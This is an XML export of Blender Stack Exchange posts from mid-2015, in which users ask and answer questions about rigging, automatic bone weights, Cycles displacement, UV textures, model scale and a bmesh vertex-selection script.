  <row Id="34898" PostTypeId="1" AcceptedAnswerId="34916" CreationDate="2015-07-31T21:14:58.820" Score="15" ViewCount="29890" Body="&lt;p&gt;After I edited an already weighted model and its armature, the pose mode doesn't grab the limbs the right way anymore. &lt;br&gt;Is there a way to recalculate weights for  &lt;em&gt;&lt;strong&gt;single bones&lt;/strong&gt;&lt;/em&gt;? Because I already edited the weights for other parts of the mesh and don't want to redo that again.&lt;/p&gt;&#xA;" OwnerUserId="15561" LastEditorUserId="15561" LastEditDate="2015-08-01T08:33:59.843" LastActivityDate="2019-11-26T04:24:16.190" Title="How to recalculate automatic weights for single bones?" Tags="&lt;bones&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34900" PostTypeId="1" AcceptedAnswerId="40872" CreationDate="2015-07-31T21:39:38.183" Score="3" ViewCount="465" Body="&lt;p&gt;I have a curve. I need to somehow rig it so that I can smoothly &quot;unbend&quot; it at its &quot;elbows&quot;; I need it rigged so that I can bend it bag and forth at will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to figure out a way to bend it open so that the &quot;elbow&quot; becomes completely vertically straight curve when &quot;unbent&quot;; it seems that no matter what I try it always has a nasty weird V-ish shape at the elbow even when unbent. Of course, part of the difficulty is the fact that the curve has quite a few points. Unfortunately due to the nature of the project, I have to have the curve be as smooth as it is around the elbows (it's used for array duplication of zipper teeth). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, due to the nature of the project, the curve's initial position is important--so I can't start with it unbent and rig it to become bent, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included an image showing the &lt;strong&gt;the starting shape&lt;/strong&gt; and &lt;strong&gt;the desired end shape&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rigging it so that it can smoothly bend at the &quot;elbows&quot; seems like it should be so simple, but I can't seem to accomplish it. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BXSkQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BXSkQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15708" LastActivityDate="2015-11-01T11:32:00.430" Title="Rig a pre-bent curve to smoothly unbend" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34901" PostTypeId="1" AcceptedAnswerId="34924" CreationDate="2015-07-31T22:21:02.337" Score="8" ViewCount="5025" Body="&lt;p&gt;Windows upgraded itself (from 8.1) without uninstalling Blender, but Blender wouldn't correctly work after this (look at the error message below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video won't show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Blender work with Windows 10? What's the proper way to install it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the message:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xdTsj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xdTsj.png&quot; alt=&quot;Blender error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be a matter of my hardware not being correctly detected by the new Windows, but anyway it's a good question. Does Blender work in Windows 10? Has anybody succeeded installing any version?&lt;/p&gt;&#xA;" OwnerUserId="14923" LastEditorUserId="14923" LastEditDate="2015-07-31T23:17:17.747" LastActivityDate="2016-02-01T14:02:30.217" Title="Does Blender work in Windows 10?" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34902" PostTypeId="1" AcceptedAnswerId="34903" CreationDate="2015-07-31T23:14:11.320" Score="6" ViewCount="5232" Body="&lt;p&gt;The experimental feature set in Blender 2.75 includes an option to allow the &lt;em&gt;displacement&lt;/em&gt; socket of the &lt;em&gt;material output&lt;/em&gt; node actually displace the mesh instead of acting as bump-mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2haQj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can not figure out how to control the actual displacement amount.  Simply adding a &lt;em&gt;math multiply&lt;/em&gt; node does absolutely nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HSNut.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSNut.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I change the actual displacement amount?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-01T00:07:25.680" LastActivityDate="2015-08-01T12:25:51.513" Title="How can I adjust Cycles material displacement amount?" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34903" PostTypeId="2" ParentId="34902" CreationDate="2015-08-01T00:07:40.063" Score="8" Body="&lt;p&gt;Remember this in an &lt;strong&gt;experimental feature&lt;/strong&gt; it doesn't update atomatically every time. To force update &lt;strong&gt;Exit Rendered View&lt;/strong&gt; to solid view and switch back to Rendered view. Or Render with &lt;Kbd&gt;F12&lt;/kbd&gt; and you'll see the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With True Displacement x10&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CRbXC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CRbXC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With True Displacement x20&#xA;&lt;a href=&quot;https://i.stack.imgur.com/juvki.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/juvki.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="5705" LastEditDate="2015-08-01T12:25:51.513" LastActivityDate="2015-08-01T12:25:51.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34904" PostTypeId="2" ParentId="34894" CreationDate="2015-08-01T00:33:27.500" Score="1" Body="&lt;p&gt;Based on Gandalf3's comment I have to change the socket to blue to work around this bug.  Unfortunately, based on &lt;a href=&quot;https://blender.stackexchange.com/questions/18890/setting-group-node-socket-type&quot;&gt;Setting Group Node Socket Type&lt;/a&gt; I conclude there is no procedure to change the type of an existing socket in 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We must add a node to the group that has a blue (vector) input.  The texture Output node is suited to the task.  Connect that input to the blank input on the Group Input and a vector input is created to match it.  Wire the blue input into the various places that the yellow goes, and then delete the yellow input from the node group.  You can delete the Output node now.  &lt;kbd&gt;Shift-tab&lt;/kbd&gt; out to the rest of the nodes and connect the coordinates to the now-blue input of the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When constructing groups in the future, a solution is to &lt;kbd&gt;shift-drag&lt;/kbd&gt; across the connection between the vector output and the Separate RGBA node's input. This creates a blue Reroute node. Including the reroute node during the creation of the group codes the input as blue (vector).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-01T00:33:27.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34905" PostTypeId="1" CreationDate="2015-08-01T00:55:13.883" Score="1" ViewCount="63" Body="&lt;p&gt;I am trying to make a visual explanation of vertex sequence for a mesh object. I pieced this script together from the internet. It runs, but I don't see anything happen. How can I get the effect to be visible? (vertices become selected one at a time until all selected, then deselected one at a time (in the same order)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can get it to work, then I can illustrate various patterns, not just vertex order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is this really the best way to update the 3D viewer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.scene.objects.active = bpy.context.scene.objects.active&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an illustration. I added the wireframe view for fun. I'll make it easier on the eyes once I can get something to work (this is 34 screen shots)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nON2J.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nON2J.gif&quot; alt=&quot;vertex animation GIF&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import time&#xA;&#xA;# START WITH CUBE or low vertex number mesh selected.&#xA;&#xA;ao = bpy.context.active_object&#xA;oo = bpy.ops.object&#xA;&#xA;oo.mode_set(mode='EDIT')&#xA;&#xA;me = bmesh.from_edit_mesh(ao.data)&#xA;nverts = len(me.verts)&#xA;print(nverts)&#xA;&#xA;for i in range(2):&#xA;    for iv in range(nverts):&#xA;        me.verts.ensure_lookup_table()&#xA;        me.verts[iv].select = True     #  light them up one at a time&#xA;        #update screen&#xA;        bpy.context.scene.objects.active = bpy.context.scene.objects.active&#xA;        time.sleep(0.5)&#xA;&#xA;    for iv in range(nverts):&#xA;        me.verts.ensure_lookup_table()&#xA;        me.verts[iv].select = False     #  turn them off one at a time&#xA;        #update screen&#xA;        bpy.context.scene.objects.active = bpy.context.scene.objects.active&#xA;        time.sleep(0.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-01T02:53:08.133" LastActivityDate="2015-08-01T02:53:08.133" Title="How to select vertices sequentially in a script and see it happen in 3D viewer" Tags="&lt;python&gt;&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-01T06:39:54.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="34906" PostTypeId="1" CreationDate="2015-08-01T01:54:52.633" Score="0" ViewCount="1104" Body="&lt;p&gt;I have imported the Mixamo Fuse default female character and a MakeHuman MHX2 file. I want to project the UV map of the Fuse default onto the MakeHuman character because Mixamo Fuse has a strict and different UV map in order to import to Fuse. (Is that possible, someone said to use the Shrinkwrap Modifier?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Here: &lt;a href=&quot;https://community.mixamo.com/hc/en-us/community/posts/205090387-UV-Map-Frustration-from-a-disabled-designer&quot; rel=&quot;nofollow&quot;&gt;https://community.mixamo.com/hc/en-us/community/posts/205090387-UV-Map-Frustration-from-a-disabled-designer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a major scale issue (yes, I did change the MakeHuman model to meters before exporting) It does not matter which model I import first or second. The first model imports to the correct scale. The second model imports as a tiny and I mean almost not visible from any angle or zoom  factor model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to this issue?&lt;/p&gt;&#xA;" OwnerUserId="15108" LastActivityDate="2016-05-27T06:53:12.620" Title="Blender Scale Issues with MakeHuman and Mixamo Fuse" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34907" PostTypeId="1" CreationDate="2015-08-01T02:46:04.807" Score="0" ViewCount="3929" Body="&lt;p&gt;Im quite new at rigging so I was following a video tutorial and everything seemed to be great until i applied the armature to my model. When I applied the armature with automatic weights the entire mesh deformed and I tried rotating bones but it made the bones bend incorrectly and weird and deform the mesh even more. &lt;a href=&quot;https://i.stack.imgur.com/4skdb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4skdb.png&quot; alt=&quot;after i apply armature&quot;&gt;&lt;/a&gt;&#xA;Just some help for a beginner would be fantastic and an answer in a way i can understand, i just want to be able to animate him for a project i have.Oh and if you want to download the file here is the link (and the save starts before adding the armature in): &#xA;&lt;a href=&quot;https://mega.co.nz/#!4ZVgEIbR!9XwuFm5_mOtRP3ImUnwGxSsoQ3zIArLqiV0erQ0iI_k&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.co.nz/#!4ZVgEIbR!9XwuFm5_mOtRP3ImUnwGxSsoQ3zIArLqiV0erQ0iI_k&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="16067" LastActivityDate="2020-04-05T18:37:56.450" Title="Why does my mesh deform when I apply an armature with automatic weights?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34908" PostTypeId="2" ParentId="34906" CreationDate="2015-08-01T02:58:36.847" Score="1" Body="&lt;p&gt;Without seeing a ~.blend file containing both imported images, this is a bit of shot in the dark, but the first thing I would try is to open the file, select the model that is in the smaller scale in object mode, then switch to edit mode, and scale the model up until the proportions approximate those of the first model imported. Then switch back to object mode, and apply the scale of the object using &lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;A&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you could use the same technique in the reverse direction to scale the larger object down to the smaller one.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-01T02:58:36.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34909" PostTypeId="1" AcceptedAnswerId="34917" CreationDate="2015-08-01T03:35:49.603" Score="2" ViewCount="1479" Body="&lt;p&gt;I have been using blender for some time in a Macbook pro. Then I used it in linux. Now I'm running it in a Windows 10 machine with similar or better capacities and it doesn't render nor shows previews better. In fact it performs quite worse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Task manager and resource monitor show Blender is not even close to maximum capacity (around 25-36% in CPU and memory usage 23 to 29% even when nothing much is running at the same time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the affinity to one processor I kind of get a faster render (not as fast as in linux or OSx).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other ways to hack windows or Blender so I can get a better performance?&lt;/p&gt;&#xA;" OwnerUserId="14923" LastActivityDate="2016-05-05T15:42:12.200" Title="Is there a way to &quot;hack&quot; blender to work better in windows?" Tags="&lt;performance&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34910" PostTypeId="1" AcceptedAnswerId="34915" CreationDate="2015-08-01T03:55:12.223" Score="1" ViewCount="1004" Body="&lt;p&gt;I've been learning how to use UV mapping with textures in Blender. Things have worked fine so far using simple shapes like cubes and cylinders, but everything went wrong when I tried to UV map a creature mesh. It looks how I'd expect in 3D View: brown with a lighter color on its belly. However, the render is all messed up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparison with 3D view on left and render on right:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8n8cX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8n8cX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creature's properties:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TggNU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TggNU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16068" LastActivityDate="2015-08-01T09:27:25.943" Title="UV Texture Looks Wrong in Render" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34911" PostTypeId="2" ParentId="34893" CreationDate="2015-08-01T04:15:54.753" Score="0" Body="&lt;p&gt;When you subdivide a face of a mesh, you also subdivide all of the faces which share edges with the face you subdivided. But while a mesh is part of one and only one object, an object may contain more than one mesh. This is the key to the solution to your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to take your original cube, in edit mode, and delete only the face (&lt;kbd&gt;X&lt;/kbd&gt; &gt; &quot;Only faces&quot;) in which you want to increase the vertex density. Then select two opposite edges which helped define the face you deleted, and duplicate them using the duplicate tool (&lt;kbd&gt;SHFT&lt;/kbd&gt; - &lt;kbd&gt;D&lt;/kbd&gt;). Use the &lt;kbd&gt;F&lt;/kbd&gt; key to create a face between the duplicated edges. You now have an object with two mesh sub-objects, a plane, and the other five faces of the cube. For convenience, you can assign these two sets of vertices to different vertex groups, so that the sub meshes can be more easily selected individually, but even so they are part of the same object. Now when you subdivide the new face, you will have no impact on the five faces of the other sub object, and as long as you don't move the four pairs of vertices defining the overall edges of the new face, or that outlined the old face, individually, the two meshes will maintain their relative position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to accomplish the same thing is to select the face in the original cube that you wanted to subdivide (in edit mode), and instead of deleting it, press the &lt;kbd&gt;P&lt;/kbd&gt; key selecting the option &quot;selection&quot;. You have now made the face you want to subdivide a separate object. Selecting this new separate object, and then the cube (in either order), and pressing the key combination &lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;J&lt;/kbd&gt; combines the new face with the other five faces of the original cube as a single object, but leaves them as independent sub-object meshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, you can subdivide the individual face as many times as you want, without affecting the other sub-object, but all six faces in the two mesh sub objects are part of the same object, and when the object is manipulated, the six faces are manipulated in the same manner. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-01T04:15:54.753" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34912" PostTypeId="2" ParentId="34727" CreationDate="2015-08-01T05:35:29.810" Score="3" Body="&lt;p&gt;I came to a solution after much grief. I hope anyone else having hell with this situation finds this useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rebuilt the rig and discovered that there was no problem at all with the pole vector constraint. The problem is that in my previous attempt I was using the Rigify addon, and I suspect I was running into double transforms.&lt;/p&gt;&#xA;" OwnerUserId="13400" LastActivityDate="2015-08-01T05:35:29.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34913" PostTypeId="1" CreationDate="2015-08-01T06:26:56.643" Score="0" ViewCount="214" Body="&lt;p&gt;I think we have all been there: we add too many objects or subdivide something too many times and suddenly Blender slows down to a crawl. At the moment my system is so unresponsive that it takes minutes to cancel what I did to slow it down. This problem leads me to ask if there is a way to temporarily disable Blender from trying to update things in the UI/Viewport, so that I can tweak the settings and make it responsive again?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2015-08-01T06:26:56.643" Title="Is it possible to temporarily disable UI from updating?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34914" PostTypeId="2" ParentId="34893" CreationDate="2015-08-01T06:31:23.403" Score="1" Body="&lt;p&gt;You can't subdivide a plane without turning the adjacent faces into ngons or triangle fans. If you want the mesh fully connected you must create a transition between the two resolutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the one object you can have several disjoint meshes with highly varying amounts of geometry (granularity of tessellation). You can detach the plane from the surrounding geometry by selecting and and pressing &lt;kbd&gt;Y&lt;/kbd&gt; and then subdivide it (that way the surrounding geometry isn't modified because it isn't attached in a topological sense)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/omQeJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/omQeJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've scaled down the subdivided plane in the last example to show that it is detached from the surrounding geometry. It depends heavily on your use-case which of these options is most suitable.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-01T16:08:22.453" LastActivityDate="2015-08-01T16:08:22.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34915" PostTypeId="2" ParentId="34910" CreationDate="2015-08-01T08:16:11.043" Score="2" Body="&lt;p&gt;Nothing is wrong with your UV set up. It looked fine when i opened it. I didn't change anything in your blendfile, except for the lighting. I put 2 sun lamps in the scene near the camera and pointed it at the object. And deleted the 3 lamps you added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ssot9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ssot9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-01T09:27:25.943" LastActivityDate="2015-08-01T09:27:25.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34916" PostTypeId="2" ParentId="34898" CreationDate="2015-08-01T11:08:01.037" Score="22" Body="&lt;p&gt;In Weight paint mode, select the pose bones you want to recompute the weight and press:&#xA;W &gt; Assign automatic from bones&lt;/p&gt;&#xA;" OwnerUserId="2788" LastActivityDate="2015-08-01T11:08:01.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34917" PostTypeId="2" ParentId="34909" CreationDate="2015-08-01T11:36:50.650" Score="4" Body="&lt;p&gt;use decent video drivers that actually have good openGL performance. It's not Blender that's at fault, it's not Windows that's at fault, it's the 3rd party hardware drivers that control your hardware.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2015-08-01T11:36:50.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34918" PostTypeId="2" ParentId="34907" CreationDate="2015-08-01T12:38:45.623" Score="1" Body="&lt;p&gt;I have to say i'm not really good at rigging, but as none answered...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are a few things you need to know about armatures and bone constraints.&lt;br&gt;&#xA;Your armature won't look the same in edit mode and in pose mode if you apply IK contraints. Edit mode allows to move/rotate/scale bones in rest pose so if your bones are moved in pose mode, this won't show in edit mode. Constraints are not applied in edit mode.&lt;br&gt;&#xA;This applies to your IK controller bones.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tiHPi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tiHPi.jpg&quot; alt=&quot;IK control&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;So if you want to see things clearly, you have to clear the tranformations in pose mode : select all bones with &lt;kbd&gt;A&lt;/kbd&gt; menu Pose/clear transforms/all or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0Zl8C.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Zl8C.jpg&quot; alt=&quot;clear transform&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to know about bones is the roll, the bone's rotation around it's main axis. To see this, go in properties panel, armature and click &quot;Axes&quot;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EYMS6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EYMS6.jpg&quot; alt=&quot;axes&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;This wil show each bone's axes. This is something you need to check if you want your contraints to work as expected. You can change a bone roll with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; in edit mode. In your case, you should use the recalculate option : in edit mode, select all bones with &lt;kbd&gt;A&lt;/kbd&gt;, go to armature menu, Bone Roll/Recalculate Roll/Global+Y axis and see what it does.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XGbZQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XGbZQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;It should fix some of your problems but you'll need to manually fix some of them. You can try some recalculate options to see what's best&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-01T12:38:45.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34919" PostTypeId="1" AcceptedAnswerId="34920" CreationDate="2015-08-01T11:51:58.120" Score="4" ViewCount="929" Body="&lt;p&gt;I'm working on som abstract art in blender, and therefore I want to use the array modifier. The problem is that I want to have some displacement on my object. See the picure below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GaxuF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GaxuF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to edit every single hexagon object. This model is made with the Child-parent and a displace modifier on the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make this, so that I can edit every hexagon, and not just the parent? &lt;/p&gt;&#xA;" OwnerUserId="16076" OwnerDisplayName="Lasse" LastEditorUserId="11431" LastEditDate="2015-08-01T16:26:17.120" LastActivityDate="2015-08-01T16:26:17.120" Title="Array modifier displacement" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;dupli-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34920" PostTypeId="2" ParentId="34919" CreationDate="2015-08-01T13:38:15.160" Score="8" Body="&lt;p&gt;1st make the duplicates real with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; or object menu/apply/make duplicates real.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bWiqP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bWiqP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;then make them single user with &lt;kbd&gt;U&lt;/kbd&gt; (or object menu/make single user) objects &amp;amp; Data (&amp;amp; materials if needed)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Smkl2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Smkl2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Now you have different objects with different mesh data you can edit.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-01T13:38:15.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34922" PostTypeId="1" CreationDate="2015-08-01T13:56:40.490" Score="0" ViewCount="344" Body="&lt;p&gt;When I try to play my game, the scene gets messed up. I think it is better if I show you what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pJA0P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJA0P.jpg&quot; alt=&quot;Incorrect rendering (second image)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The skydome is completely gone and the order in which the models render is completely wrong. I tried a lot of things, but nothing seems to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The problem with the skydome is fixed. I had to flip the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT #2: Here is a link to the .blend file: &lt;a href=&quot;http://www.mediafire.com/download/lm3i4n78gcok8q2/Station_of_Awakening.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/lm3i4n78gcok8q2/Station_of_Awakening.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16073" LastEditorUserId="2217" LastEditDate="2015-08-01T14:39:12.310" LastActivityDate="2015-08-01T14:40:15.973" Title="Blender Game not rendering objects correctly" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
